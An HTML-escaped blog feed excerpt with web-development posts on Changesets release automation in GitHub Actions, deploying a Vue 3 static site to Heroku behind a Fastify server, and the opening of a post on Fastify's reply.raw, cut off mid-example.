&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;npm run version&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;commit&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;chore: new release&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;title&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;chore: new release candidate&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;env&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;GITHUB_TOKEN&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;${{ secrets.GITHUB_TOKEN }}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;NPM_TOKEN&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;${{ secrets.NPM_TOKEN }}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Don’t forget to create a granular npm token for this package to be published via CI/CD and update the repository settings with the &lt;code&gt;NPM_TOKEN&lt;/code&gt; secret. Also update your npm run scripts in &lt;code&gt;package.json&lt;/code&gt; to include the &lt;code&gt;changeset&lt;/code&gt; commands:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;scripts&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;version&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;changeset version&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;release&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;changeset publish&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;How does it work in terms of processes and workflows?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The above workflow creates a pull request for each release. You can see an example of a pull request that was created by the workflow &lt;a href=&quot;https://github.com/lirantal/lockfile-lint/pull/166&quot;&gt;here in my lockfile-lint repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;The GitHub Action that initiated the pull request determined the version, updated the &lt;code&gt;package.json&lt;/code&gt; files accordingly, and also removed the changeset file itself from the repository (this is configurable, and I opted out of keeping them in the repository).&lt;/li&gt;
&lt;li&gt;Once this pull request is merged, the same GitHub Action workflow is triggered again, but now it determines that &lt;code&gt;package.json&lt;/code&gt; files have changed (also known as a version drift) from what appears in the npm registry and it publishes the new versions and creates a GitHub release tag. You can see an example of this workflow &lt;a href=&quot;https://github.com/lirantal/lockfile-lint/actions/runs/5432789312/jobs/9880060161&quot;&gt;here&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;
&lt;p&gt;Changesets provides an elegant solution for managing project releases in monorepo architectures. By embracing semantic versioning principles and offering an intuitive command-line interface, Changesets simplifies the process of versioning and ensures consistent release management across your packages.&lt;/p&gt;
&lt;p&gt;In this blog post, we explored what Changesets is, its common use cases, and how it can benefit your project. We also provided a step-by-step guide to getting started with Changesets, from installation to creating changesets and publishing new versions.&lt;/p&gt;
&lt;p&gt;If you’re working with monorepos or collaborating on large-scale projects, give Changesets a try. It will save you time and effort in managing releases and help you maintain a robust versioning workflow for your packages.&lt;/p&gt;
&lt;p&gt;Happy publishing!&lt;/p&gt;</content:encoded></item><item><title>Deploying a Fastify &amp; Vue 3 Static Site to Heroku</title><link>https://lirantal.com/blog/deploying-a-fastify-vue-3-static-site-to-heroku/</link><guid>https://lirantal.com/blog/deploying-a-fastify-vue-3-static-site-to-heroku/</guid><description>How to deploy a Vue 3 static site to Heroku with a Fastify Node.js backend server to serve the static files.</description><pubDate>Sat, 08 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In today’s fast-paced world of web development, deploying static sites has become a common practice.&lt;/p&gt;
&lt;p&gt;And I know, you’re thinking “why would anyone deploy static sites (also commonly referred to as SSG) to Heroku?“. Especially these days when modern web hosting exists in the likes of Vercel and Netlify? Well the answer is not as exciting as you’d hope - constraints at work.&lt;/p&gt;
&lt;p&gt;Static sites offer numerous benefits such as better performance in the form of less JavaScript on the page, less round-trip HTTP requests, and generally they’re easier to scale. In this article, we will explore how to deploy a Vue 3 static site to Heroku with a Fastify Node.js backend server to serve the static files. By the end, you’ll have a clear understanding of the process and be able to deploy your own static site with ease.&lt;/p&gt;
&lt;h2 id=&quot;introduction-to-deploying-static-sites&quot;&gt;Introduction to Deploying Static Sites&lt;/h2&gt;
&lt;p&gt;Before we dive into the deployment process, let’s briefly discuss static sites. Unlike dynamic websites that generate content on the server, static sites consist of pre-rendered HTML, CSS, and JavaScript files.&lt;/p&gt;
&lt;p&gt;These files are generated once, on build-time, and are later served directly from a web server or cloud native hosting such as AWS’s S3 buckets or other cloud offerings, without the need for server-side processing. This approach results in faster load times and improved performance for end-users. Vercel for example, is well-known for providing stellar performance in this context, as they’re able to leverage AWS’s infrastructure to deliver those static files as close as possible to the user. This is often referred to as “the edge”.&lt;/p&gt;
&lt;h2 id=&quot;what-is-heroku&quot;&gt;What is Heroku?&lt;/h2&gt;
&lt;p&gt;Once the pioneer in Platform as a Service (PaaS), Heroku is a cloud platform that enables developers to deploy, manage, and scale applications effortlessly. It supports a wide range of programming languages and frameworks, making it a popular choice for deploying web applications. Heroku provides a streamlined deployment process, automatic scaling, and easy integration with various third-party services.&lt;/p&gt;
&lt;p&gt;That said, Heroku isn’t a natural choice for delivering static files. Let’s unravel and understand why.&lt;/p&gt;
&lt;h2 id=&quot;why-use-a-fastify-nodejs-backend-server-for-hosting-static-sites&quot;&gt;Why Use a Fastify Node.js Backend Server for Hosting Static Sites?&lt;/h2&gt;
&lt;p&gt;Heroku, as great as it is, is more suitable for application servers and its common use-case is spinning up web servers (called “dynos”). In the context of static files, this means that we’d have to build a web server (and use it as a dyno) that hosts the static files for the website.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;In fact, for performance reasons it is highly recommended to use generic web servers to serve static files, such as nginx or apache http server, over the Node.js runtime.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;With Heroku, to keep things simple and comfortable developer ergonomics and good developer experience, we’ll serve these static files with the Fastify Node.js backend server. Fastify is a lightweight and efficient web framework for Node.js, known for its exceptional performance.&lt;/p&gt;
&lt;p&gt;By choosing Fastify to serve static files, we can leverage additional functionalities like URL routing, middleware support, and server-side logic if needed and stay within the Node.js user-land development. This combination gives us the flexibility to build complex applications while still enjoying the benefits of a static site architecture.&lt;/p&gt;
&lt;h2 id=&quot;how-to-deploy-a-vue-3-static-site-to-heroku-with-fastify&quot;&gt;How to Deploy a Vue 3 Static Site to Heroku with Fastify&lt;/h2&gt;
&lt;p&gt;Now, let’s dive into the step-by-step process of deploying a Vue 3 static site to Heroku using Fastify. We’ll cover creating a new Heroku app, setting up Fastify to serve Vue 3 static files, and configuring Heroku’s app environment variables for Vite’s build.&lt;/p&gt;
&lt;h3 id=&quot;1-create-a-new-heroku-app&quot;&gt;1. Create a New Heroku App&lt;/h3&gt;
&lt;p&gt;The first step is to create a new Heroku app to host our static site. Follow these steps:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Log in to your Heroku account or create a new one if you haven’t already.&lt;/li&gt;
&lt;li&gt;Once logged in, navigate to the Heroku dashboard.&lt;/li&gt;
&lt;li&gt;Click the “New” button and select “Create new app” and choose the Node.js application framework.&lt;/li&gt;
&lt;li&gt;Choose a unique name for your app and select your preferred region.&lt;/li&gt;
&lt;li&gt;Click the “Create app” button to create the app.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;2-the-vue-3-static-site-setup&quot;&gt;2. The Vue 3 Static Site Setup&lt;/h3&gt;
&lt;p&gt;For this project, I scaffolded the Vue 3 frontend application using Vuetify 3 which is a UI component library and it creates the project with:
Vue 3
Vuetify 3
Vite&lt;/p&gt;
&lt;p&gt;The Vite workflow uses a &lt;code&gt;vite build&lt;/code&gt; command to build the static site assets and the default configuration generates all the files in the &lt;code&gt;dist/&lt;/code&gt; directory.&lt;/p&gt;
&lt;h3 id=&quot;3-setting-up-fastify-to-serve-vue-3-static-files&quot;&gt;3. Setting up Fastify to Serve Vue 3 Static Files&lt;/h3&gt;
&lt;p&gt;To serve these files over HTTP we need a Node.js web application.&lt;/p&gt;
&lt;p&gt;Now that we have our Heroku app, let’s configure Fastify to serve the Vue 3 static files. Follow these steps:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Create a new directory for your project and navigate into it.&lt;/li&gt;
&lt;li&gt;Initialize a new Node.js project using &lt;code&gt;npm init&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Install Fastify as a dependency: &lt;code&gt;npm install --save --ignore-script fastify @fastify/static&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Create a new file named &lt;code&gt;server.js&lt;/code&gt; and open it in your preferred code editor. Mine is, well, VS Code, surprise surprise!&lt;/li&gt;
&lt;li&gt;We’ll import the Fastify library and set it up to serve static files from the &lt;code&gt;dist/&lt;/code&gt; directory:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;fastify&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;fastify&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)({ logger: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;path&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;path&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;fastify.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;register&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;@fastify/static&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;), {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  root: path.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(__dirname, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;dist&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  prefix: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;/&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;fastify.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;setNotFoundHandler&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;request&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;reply&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  reply.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;sendFile&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;index.html&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;fastify.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;listen&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  { port: process.env.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;PORT&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;3000&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, host: process.env.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;HOST&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;0.0.0.0&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;err&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;address&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (err) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;throw&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; err;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this example, we’re using the &lt;code&gt;@fastify/static&lt;/code&gt; plugin to serve static files from the dist directory.&lt;/p&gt;
&lt;p&gt;You’ll notice we also used a Fastify “not found” handler as a catch-all wildcard for routing. This is relevant for Single Page Applications (SPAs) and a frontend routing setup with client-side browsing history.&lt;/p&gt;
&lt;h3 id=&quot;4-configure-herokus-app-environment-variables-for-vites-build&quot;&gt;4. Configure Heroku’s App Environment Variables for Vite’s Build&lt;/h3&gt;
&lt;p&gt;To ensure a successful build and deployment of the Vue 3 static site, we need to configure the necessary environment variables in our Heroku app. Specifically, we need to set the &lt;code&gt;NODE_ENV&lt;/code&gt; variable to production and configure any other environment variables required by your Vue 3 build process:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Go to your Heroku dashboard and navigate to your app.&lt;/li&gt;
&lt;li&gt;Click on the “Settings” tab.&lt;/li&gt;
&lt;li&gt;Scroll down to the “Config Vars” section.&lt;/li&gt;
&lt;li&gt;Click the “Reveal Config Vars” button.&lt;/li&gt;
&lt;li&gt;Add the following environment variables:&lt;/li&gt;
&lt;li&gt;&lt;code&gt;NODE_ENV&lt;/code&gt; set to production&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Additional variables as required by your Vue 3 build process (e.g., VITE_APP_API_URL).
These environment variables ensure that Vite, the build tool for Vue 3, optimizes the production build accordingly.&lt;/p&gt;
&lt;h2 id=&quot;deploying-to-heroku&quot;&gt;Deploying to Heroku&lt;/h2&gt;
&lt;p&gt;Now that everything is set up, let’s deploy our Vue 3 static site to Heroku:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Commit your project to a version control system like Git.&lt;/li&gt;
&lt;li&gt;In your terminal, log in to Heroku using the command &lt;code&gt;heroku login&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Link your local project directory to the Heroku app by running &lt;code&gt;heroku git:remote -a &amp;#x3C;your-app-name&gt;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Deploy your code to Heroku by executing git push heroku main.&lt;/li&gt;
&lt;li&gt;Heroku will receive your code, build the application, and deploy it to a dyno. Once the deployment process completes, you can access your deployed Vue 3 static site by visiting your Heroku app’s URL.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Deploying a Vue 3 static site to Heroku with a Fastify Node.js backend server offers developers the benefits of a static site architecture while retaining the flexibility to add server-side functionalities when necessary.&lt;/p&gt;
&lt;p&gt;Indeed, Heroku isn’t a native frontend hosting platform but by following the steps outlined in this article, you can easily deploy your own static site to Heroku. Thanks to Fastify’s edge for performance and being a robust web application framework we can rely on it as a web server to serve our Vue 3 static sites.&lt;/p&gt;
&lt;p&gt;Happy coding and deploying!&lt;/p&gt;</content:encoded></item><item><title>Avoid Fastify&apos;s reply.raw and reply.hijack Despite Being A Powerful HTTP Streams Tool</title><link>https://lirantal.com/blog/avoid-fastify-reply-raw-and-reply-hijack-despite-being-a-powerful-http-streams-tool/</link><guid>https://lirantal.com/blog/avoid-fastify-reply-raw-and-reply-hijack-despite-being-a-powerful-http-streams-tool/</guid><description>How to harness the power of streams in Fastify web applications without resorting to raw HTTP replies via reply.raw and reply.hijack().</description><pubDate>Fri, 30 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;As web developers, we often encounter situations where we need fine-grained control over the HTTP request and response process. It might be about handling large file uploads, implementing real-time features, or building proxy servers. Either way, having the ability to manipulate data streams in real-time can be a game-changer and a powerful tool.&lt;/p&gt;
&lt;p&gt;Fastify, the blazing-fast web framework for Node.js, exposes a powerful set of HTTP response APIs via &lt;code&gt;reply.raw&lt;/code&gt; and &lt;code&gt;reply.hijack()&lt;/code&gt; that allows us to take control of the HTTP stream. As they say though, with great power comes great responsibility.&lt;/p&gt;
&lt;p&gt;In this article, we will explore what &lt;code&gt;reply.hijack()&lt;/code&gt; is and why avoiding raw HTTP replies via &lt;code&gt;reply.raw&lt;/code&gt; should be a last resort.&lt;/p&gt;
&lt;h2 id=&quot;understanding-replyraw&quot;&gt;Understanding &lt;code&gt;reply.raw&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Fastify’s &lt;code&gt;reply.raw&lt;/code&gt; grants developers access to the low-level API of Node.js’s underlying HTTP subsystem.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;reply.raw&lt;/code&gt; is a method provided by Fastify that exposes the underlying Node.js &lt;code&gt;http.ServerResponse&lt;/code&gt; object. This grants developers direct access to the low-level HTTP interface, allowing them to perform advanced operations and customization that go beyond the traditional abstractions offered by the framework.&lt;/p&gt;
&lt;p&gt;Other reasons developers might turn to Fastify’s &lt;code&gt;reply.raw&lt;/code&gt; could be to gain the ability to manipulate headers, handle data streams directly, and perform other low-level operations. This level of control is particularly valuable in scenarios where precise optimizations, customization, or integration with other Node.js libraries are necessary.&lt;/p&gt;
&lt;h3 id=&quot;raw-http-replies-use-case-server-sent-events&quot;&gt;Raw HTTP replies use-case: Server-Sent Events&lt;/h3&gt;
&lt;p&gt;One practical use-case where reply.raw shines is in implementing Server-Sent Events (SSE). SSE enables servers to push real-time updates to clients over a single HTTP connection. With &lt;code&gt;reply.raw&lt;/code&gt;, we can effortlessly stream events to clients in a controlled and optimized manner.&lt;/p&gt;
&lt;p&gt;Let’s consider an example:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;fastify.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;/stream&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;request&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;reply&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;res&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; reply.raw;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  res.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;setHeader&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Content-Type&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;text/event-stream&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  res.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;setHeader&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Cache-Control&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;no-cache&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  res.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;setHeader&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Connection&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;keep-alive&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;/span&gt;
